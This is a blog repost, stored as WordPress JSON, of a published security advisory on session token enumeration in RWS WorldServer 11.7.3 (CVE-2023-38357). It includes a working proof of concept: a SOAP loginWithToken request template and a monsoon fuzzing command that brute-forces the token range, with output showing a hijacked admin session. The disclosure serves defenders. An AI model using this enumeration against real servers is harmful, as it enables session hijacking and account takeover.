{"id":45320,"date":"2023-07-19T21:00:21","date_gmt":"2023-07-19T17:00:21","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/173609\/rt-sa-2023-001.txt"},"modified":"2023-07-23T10:24:50","modified_gmt":"2023-07-23T05:54:50","slug":"rws-worldserver-11-7-3-session-token-enumeration","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/rws-worldserver-11-7-3-session-token-enumeration\/","title":{"rendered":"RWS WorldServer 11.7.3 Session Token Enumeration"},"content":{"rendered":"<p>Advisory: Session Token Enumeration in RWS WorldServer<\/p>\n<p>Session tokens in RWS WorldServer have a low entropy and can be<br \/>\nenumerated, leading to unauthorised access to user sessions.<\/p>\n<p>Details<br \/>\n=======<\/p>\n<p>Product: WorldServer<br \/>\nAffected Versions: 11.7.3 and earlier versions<br \/>\nFixed Version: 11.8.0<br \/>\nVulnerability Type: Session Token Enumeration<br \/>\nSecurity Risk: high<br \/>\nVendor URL: https:\/\/www.rws.com\/localization\/products\/additional-solutions\/<br \/>\nVendor Status: fixed version released<br \/>\nAdvisory URL: https:\/\/www.redteam-pentesting.de\/advisories\/rt-sa-2023-001<br \/>\nAdvisory Status: published<br \/>\nCVE: CVE-2023-38357<br \/>\nCVE URL: https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2023-38357<\/p>\n<p>Introduction<br \/>\n============<\/p>\n<p>&#8220;WorldServer offers a flexible, enterprise-class translation management<br \/>\nsystem that automates translation tasks and greatly reduces the cost of<br \/>\nsupporting large volumes of local language content.&#8221;<\/p>\n<p>(from the vendor&#8217;s homepage)<\/p>\n<p>More Details<br \/>\n============<\/p>\n<p>WorldServer associates user sessions with numerical tokens, which always<br \/>\nare positive values below 2^31. The SOAP action &#8220;loginWithToken&#8221; allows<br \/>\nfor a high amount of parallel attempts to check if a token is valid.<br \/>\nDuring analysis, many assigned tokens were found to be in the 7-digit<br \/>\nrange of values. An attacker is therefore able to enumerate user<br \/>\naccounts in only a few hours.<\/p>\n<p>Proof of Concept<br \/>\n================<\/p>\n<p>In the following an example &#8220;loginWithToken&#8221; request is shown:<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\nPOST \/ws\/services\/WSContext HTTP\/1.1<br \/>\nContent-Type: text\/xml;charset=UTF-8<br \/>\nSOAPAction: &#8220;&#8221;<br \/>\nContent-Length: 501<br \/>\nHost: www.example.com<br \/>\nConnection: close<br \/>\nUser-Agent: agent<\/p>\n<p>&lt;soapenv:Envelope xmlns:xsi=&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance&#8221; xmlns:xsd=&#8221;http:\/\/www.w3.org\/2001\/XMLSchema&#8221;<br \/>\nxmlns:soapenv=&#8221;http:\/\/schemas.xmlsoap.org&#8221;&gt;<br \/>\n&lt;soapenv:Header\/&gt;<br \/>\n&lt;soapenv:Body&gt;<br \/>\n&lt;com:loginWithToken soapenv:encodingStyle=&#8221;http:\/\/schemas.xmlsoap.org\/soap\/encoding\/&#8221;&gt;<br \/>\n&lt;token xsi:type=&#8221;xsd:string&#8221;&gt;FUZZ&lt;\/token&gt;<br \/>\n&lt;\/com:loginWithToken&gt;<br \/>\n&lt;\/soapenv:Body&gt;<br \/>\n&lt;\/soapenv:Envelope&gt;<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>It can be saved as file &#8220;login-soap.req&#8221; and be used as a request<br \/>\ntemplate for the command-line HTTP enumerator monsoon [1] to achieve<br \/>\nmany parallel requests:<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n$ monsoon fuzz &#8211;threads 100 \\<br \/>\n&#8211;template-file login-soap.req \\<br \/>\n&#8211;range 1-2147483647 \\<br \/>\n&#8211;hide-pattern &#8220;InvalidSessionException&#8221; \\<br \/>\n&#8216;https:\/\/www.example.com&#8217;<\/p>\n<p>Target URL: https:\/\/www.example.com\/<\/p>\n<p>status header body value extract<\/p>\n<p>500 191 560 5829099<br \/>\n500 191 556 6229259<br \/>\n200 191 3702 7545136<br \/>\n500 191 556 9054984<br \/>\n[&#8230;]\nprocessed 12000000 HTTP requests in 2h38m38s<br \/>\n4 of 12000000 requests shown, 1225 req\/s<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>The &#8211;range parameter reflects the possible value range of 2^31 and for<br \/>\neach value an HTTP request is sent to the WorldServer SOAP API where the<br \/>\nFUZZ marker in the request template is replaced with the respective<br \/>\nvalue. Also responses are hidden which contain &#8220;InvalidSessionException&#8221;<br \/>\nas these sessions are invalid. Responses will yield a status code of 200<br \/>\nif an administrative session token is found. For an unprivileged user<br \/>\nsession, status code 500 is returned.<\/p>\n<p>Workaround<br \/>\n==========<\/p>\n<p>Lower the rate at which requests can be issued, for example with a<br \/>\nfrontend proxy.<\/p>\n<p>Fix<br \/>\n===<\/p>\n<p>According to the vendor, upgrading to versions above 11.8.0 resolves the<br \/>\nvulnerability.<\/p>\n<p>Security Risk<br \/>\n=============<\/p>\n<p>Attackers can efficiently enumerate session tokens. In a penetration<br \/>\ntest, it was possible to get access to multiple user accounts, including<br \/>\nadministrative accounts using this method in under three hours.<br \/>\nAdditionally, by using such an administrative account it seems likely to<br \/>\nbe possible to execute arbitrary code on the underlying server by<br \/>\ncustomising the REST API [2]. Thus, the vulnerability poses a high risk.<\/p>\n<p>Timeline<br \/>\n========<\/p>\n<p>2023-03-27 Vulnerability identified<br \/>\n2023-03-30 Customer approved disclosure to vendor<br \/>\n2023-04-03 Requested security contact from vendor<br \/>\n2023-04-06 Vendor responded with security contact<br \/>\n2023-04-14 Advisory sent to vendor<br \/>\n2023-04-18 Vendor confirms vulnerability and states that it was already<br \/>\nknown and fixed in version 11.8.0.<br \/>\n2023-07-03 Customer confirms update to fixed version<br \/>\n2023-07-05 CVE ID requested<br \/>\n2023-07-15 CVE ID assigned<br \/>\n2023-07-19 Advisory released<\/p>\n<p>References<br \/>\n==========<\/p>\n[1] https:\/\/github.com\/RedTeamPentesting\/monsoon<br \/>\n[2] https:\/\/docs.rws.com\/860026\/585715\/worldserver-11-7-developer-documentation\/customizing-the-rest-api<\/p>\n<p>RedTeam Pentesting GmbH<br \/>\n=======================<\/p>\n<p>RedTeam Pentesting offers individual penetration tests performed by a<br \/>\nteam of specialised IT-security experts. Hereby, security weaknesses in<br \/>\ncompany networks or products are uncovered and can be fixed immediately.<\/p>\n<p>As there are only few experts in this field, RedTeam Pentesting wants to<br \/>\nshare its knowledge and enhance the public knowledge with research in<br \/>\nsecurity-related areas. The results are made available as public<br \/>\nsecurity advisories.<\/p>\n<p>More information about RedTeam Pentesting can be found at:<br \/>\nhttps:\/\/www.redteam-pentesting.de\/<\/p>\n<p>Working at RedTeam Pentesting<br \/>\n=============================<\/p>\n<p>RedTeam Pentesting is looking for penetration testers to join our team<br \/>\nin Aachen, Germany. If you are interested please visit:<br \/>\nhttps:\/\/jobs.redteam-pentesting.de\/<\/p>\n<p>&#8212;<br \/>\nRedTeam Pentesting GmbH Tel.: +49 241 510081-0<br \/>\nAlter Posthof 1 Fax : +49 241 510081-99<br \/>\n52062 Aachen https:\/\/www.redteam-pentesting.de<br \/>\nGermany Registergericht: Aachen HRB 14004<br \/>\nGesch\u00e4ftsf\u00fchrer: Patrick Hof, Jens Liebchen<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Advisory: Session Token Enumeration in RWS WorldServer Session tokens in RWS WorldServer have a low entropy and can be enumerated, leading to unauthorised access to user sessions. Details ======= Product: WorldServer Affected Versions: 11.7.3 and earlier versions Fixed Version: 11.8.0 Vulnerability Type: Session Token Enumeration Security Risk: high Vendor URL: https:\/\/www.rws.com\/localization\/products\/additional-solutions\/ Vendor Status: fixed version &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-45320","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45320","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=45320"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45320\/revisions"}],"predecessor-version":[{"id":45548,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45320\/revisions\/45548"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=45320"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=45320"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=45320"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}